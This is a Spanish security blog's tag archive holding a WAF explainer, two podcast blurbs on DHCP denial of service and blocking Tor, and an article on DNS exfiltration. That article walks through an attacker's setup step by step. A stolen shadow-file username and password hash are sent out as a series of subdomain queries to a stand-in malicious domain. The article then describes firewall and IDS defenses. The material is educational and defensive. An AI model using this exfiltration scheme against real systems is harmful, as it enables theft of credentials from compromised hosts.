Archivo de la etiqueta: IDS

WAF – Web Application Firewall

Un Web Application Firewall (WAF) es un sistema que analiza, filtra y bloquea el tráfico del protocolo HTTP que gestionan los servicios web. A pesar de incluir el término firewall en su nombre, podemos decir que los WAF son más bien una evolución de los IDS/IPS generalistas para cubrir específicamente la protección de los sistemas web. Los WAF analizan el tráfico el tráfico que capturan, no sólo por las direcciones IP y puertos, que es lo que haría un firewall; sino también por el contenido de las peticiones y respuestas transmitidas. Así el sistema trata de detectar diferentes patrones de ataques a servicios web (Inyecciones SQL, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), etc.).

WAF

Montaje tradicional de un sistema WAF. Fuente imagen: Terminatio

Si bien las funciones que realiza un sistema WAF puede ser realizadas por los IPS tradicionales correctamente configurados, el gran desarrollo en los últimos años de las aplicaciones web ha hecho que sean cada vez un objetivo más goloso para los usuarios malintencionados y ha propiciado la creación de una herramienta específica para su protección.

Tal como se muestra en la imagen superior, aunque podríamos conectar el sistema WAF de forma independiente, generalmente se utiliza como una segunda capa de protección: un firewall tradicional bloquear todo el tráfico que no sea HTTP de manera que el sistema WAF sólo deba analizar y gestionar el tráfico web. Esta doble capa de seguridad permite que cada una de ellas sea más eficiente y genere el mínimo retraso posible en la comunicación. La actuación de un IDS/IPS, categoría dentro de la que cabría enmarcar los WAF, implica el análisis del tráfico capturado antes de decidir si darle paso o bloquearlo por lo que siempre habrá una latencia añadida al sistema. Para evitar que los usuarios noten esta latencia es importante que los WAF sólo deban analizar el tráfico que realmente tenga como destino las páginas web que protegen. Un sistema WAF en solitario es posible y funcional, pero no sería eficiente de cara al rendimiento de la aplicación web (que, al fin y al cabo, es lo que el usuario final nota).

Otra de las ventajas de los WAF frente a los IPS tradicionales son que, debido a su especificidad en la protección, incorporan herramientas específicas y adaptables a casi cualquier entorno web. Así es posible crear reglas específicas de protección para cada aplicación, con lo que al final se consigue un sistema de protección totalmente adaptado a las necesidades de cada cliente. Se trata de un cambio de paradigma de buscar ataques o vulnerabilidades conocidos por parte de un IPS a proteger específicamente nuestra web con sus peculiaridades específicas.

Esquema de un WAF Cloud

Diagrama de un WAF en la nube. Fuente imagen: CDNetworks

Debido a la expansión de los servicios ‘en la nube’, muchos sistemas de seguridad que se crearon pensando en las estructuras tradicionales (cliente <> protección <> servicio) han debido integrarse también como servicios ofrecidos en la nube para poder mantener el mismo nivel de protección.


Como nota curiosa si buscáis por Internet WAF es posible que os encontréis con el Wife Acceptance Factor, que poco tiene que ver con la seguridad informática 😉

Podcast – 13 – DoS DHCP

En el capítulo de hoy hablaré sobre el protocolo DHCP (Dynamic Host Configuration Protocol)

Micro con feed

Fuente imagen:PerfectYourPodcast

y cómo podríamos realizar un ataque de denegación de servicio (DoS – Denial of Service) gracias a sus debilidades de funcionamiento y cómo podemos proteger el servicio.

Así el capítulo de hoy se reparte en tres secciones: cómo funciona el protocolo DHCP; cuáles son sus debilidades básicas; y cómo podemos protegerlo mediante otros elementos de red.

Por si la explicación hablada sobre cómo funciona DHCP no quedase clara podéis consultar el artículo sobre DHCP Snooping para aclarar algo más la información. En caso de duda sólo tenéis que pedírmelo por aquí, correo, Twitter o Telegram 😉

Aprovecho para preguntar… ¿qué echáis en falta en nuestro diccionario de términos?

Descarga directa.

Exfiltración de información usando el protocolo DNS

Uno de los problemas con lo que se encuentra un usuario malintencionado (ya sea interno o un atacante externo) cuando obtiene información deseada es cómo sacarla sin que le descubran. En este artículo veremos algunas opciones para extraer esta información usando el servicio DNS, el cuál casi siempre está operativo en casi cualquier sistema.

Extracción de información mediante peticiones DNS

DNS logo

Fuente imagen: bleepingtech.com

Este sistema de extracción de información parte del supuesto de que un atacante ha conseguido infiltrarse en un sistema y necesita sacar la información obtenida para poder tratarla y utilizarla. Si la información a extraer no es muy grande puede realizar el siguiente montaje:

  1. El atacante monta en Internet un servidor DNS que publica la información sobre el dominio «malintencionado.es«. Es posible crear una web sencilla para dar apariencia de normalidad.
  2. Este servidor DNS responderá a todas la peticiones que reciba de forma normal, pero almacenará todos los subdominios solicitados de forma correlativa.

En este punto el usuario malintencionado ya dispone de un servidor DNS accesible públicamente y preparado para almacenar la información. Cuando un equipo realice una solicitud de resolución de nombre el sistema DNS de la corporación comprobará el dominio pedido «malintencionado.es» y entonces realizará una solicitud normal al servidor DNS malintencionado quien la registrará y contestará para pasar desapercibido.

Supongamos que el atacante se ha hecho con el fichero shadow de nuestro sistema Linux que tiene la siguiente información:

oracle:$6$MvOuttAz$5ZUMuRkx8b2kGJ/jQvTszUQz73R1G9wM78kh1SogNRnSNARUtH9YFbRX/E9iSkcokC4Djyo86DDj39Tq5ebw4/:15057:0:99999:7:::

Así pues a nuestro atacante le interesa enviar al exterior el nombre de usuario y el hash de la contraseña almacenado en este fichero. Una vez tenga esta información en su poder podrá intentar atacar este hash, mediante la técnica que prefiera, para obtener la contraseña válida. Veamos cómo se podría realizar esta extracción:

  1. El servidor infectado solicita las siguientes resoluciones en este mismo orden:
    1. USER.malintenciado.es
    2. oracle.malintenciado.es
    3. HASH.malintenciado.es
    4. $6$MvOuttAz$5ZUMuRkx8b2kGJ.malintencionado.es
    5. /jQvTszUQz73R1G9wM78kh1SogNRnSNARUtH9YFbRX.malintencionado.es
    6. /E9iSkcokC4Djyo86DDj39Tq5ebw4/.malintencionado.es
    7. EOF.malintencionado.es
  2. El servidor recompone la información y obtiene los datos enviados:
    • USERoracleHASH$6$MvOuttAz$5ZUMuRkx8b2kGJ/jQvTszUQz73R1G9wM78kh1SogNRnSNARUtH9YFbRX/E9iSkcokC4Djyo86DDj39Tq5ebw4/EOF

En este ejemplo se utilizan palabras claves para marcar los diferentes campos enviados ya que, aunque sea posible, será muy difícil que estas palabras claves coincidan dentro del resultado de la función resumen enviada. Con este formato se facilita el tratamiento automatizado en destino.

Defensas ante la extracción de información vía DNS

El primer paso para una coporación es obligar a que todos los servicios internos utilicen el sistema DNS corporativo. No hay razón alguna para que un servidor u ordenador de usuario pueda acceder a DNS externos. Toda conexión a un servidor DNS externo, que no provenga de nuestro propio sistema DNS corporativo, debe ser bloqueada a nivel de firewall.

Los sistemas IDS/IPS podrían detectar un repentino aumento de peticiones de resoluciones de un mismo dominio y generar un evento. Aunque lo más probable es que en estos casos el sistema nos informe de un posible escaneo de un dominio concreto y no de una posible exfiltración de información. Ante la aparición de un evento de estas características los administradores deberían revisar el servidor afectado en busca de la causa de ese supuesto escaneo pudiendo detectar la infiltración y cortarla.

Algunos servidores DNS pueden generar eventos cuando detectan que los tiempos de vida de las resoluciones son muy bajos. Generalmente un dominio de Internet se guarda en caché durante horas, por lo que si un servidor responde que sus dominios sólo deben cachearse durante pocos minutos podría considerarse un comportamiento anómalo (aunque sea perfectamente plausible según el protocolo). Este comportamiento (el reducir los tiempos de almacenamiento temporal) suele formar parte de los ataques DoS a los servidores DNS por lo que es algo que suelen tener en cuenta.

Como vemos la detección de este comportamiento depende en gran medida de la pericia del atacante (de la configuración del servidor DNS malicioso y de su prisa en sacar la información) y, además, los eventos suelen asociarse a otros tipos de ataques por lo que la detección real de este comportamiento es muy difícil.

Limitaciones de esta técnica de exfiltración

Esta técnica de exfiltración es muy lenta comparada con otras más habituales (conexión a webs externas, envío de correos electrónicos, subida a servidores SFTP, etc.) por lo que suele utilizarse cuando las anteriores han fallado. Los nombres de subdominios no pueden ser excesivamente largos ni contener caracteres extraños por lo que se limita la información a enviar. Así pues se trata de una técnica lenta, tanto por la cantidad de información enviada cada vez como para pasar desapercibidos antes los sistemas IDS/IPS.

Cabe indicar que si utilizamos el servicio DNS sobre UDP sería posible la pérdida de un paquete con lo que la información enviada no sería útil. El uso de conexiones TCP elimina este fallo pero facilita la detección de múltiples conexiones por parte de los sistemas de seguridad.

Podcast – 10 – Resumen y cómo bloquear la red Tor en nuestra empresa

estadísticas escuchas iVoox

Estadísticas de iVoox a fecha 29 de diciembre de 2016

En el décimo capítulo del podcast hago un pequeño resumen de la situación del podcast y del futuro más próximo. Como podéis ver en la captura de la derecha cada capítulo se escucha una media de ~328 veces.

Espero poder realizar un pequeño cambio estético, con un logo profesional, en breve y jubilar los actuales que saqué de aquella manera para salir del paso 😉

En la parte interesante del capítulo hablo de las diferentes estrategias y opciones que tenemos para detectar, y bloquear, el uso de la red Tor en una empresa: qué medidas y políticas de seguridad nos permitirán evitar que nuestra red corporativa forme parte de la red Tor sin nuestro conocimiento.

Sin más aquí tenéis el audio:

Descarga directa.